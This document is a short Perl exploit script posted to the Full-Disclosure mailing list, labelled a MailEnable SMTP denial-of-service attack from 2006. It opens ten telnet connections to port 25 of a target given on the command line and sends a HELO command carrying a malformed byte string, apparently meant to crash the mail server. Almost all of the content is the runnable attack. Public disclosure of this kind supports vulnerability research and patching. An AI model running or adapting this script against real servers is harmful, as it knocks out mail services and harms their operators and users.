#!/usr/bin/perl -w # # Mailenable SMTP DoS exploit # 24/06/2006 # # Filbert at divisionbyzero dot be # use Net::Telnet; $string = "\0x99"; for ($count = 1; $count <= 10; $count++) { $telnet = new Net::Telnet ( Timeout=>60, Errmode=>'return',Port=>'25'); $telnet->open($ARGV[0]);use Net::Telnet; $telnet->print("helo ", $string, "\n"); } -- www.divisionbyzero.be _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/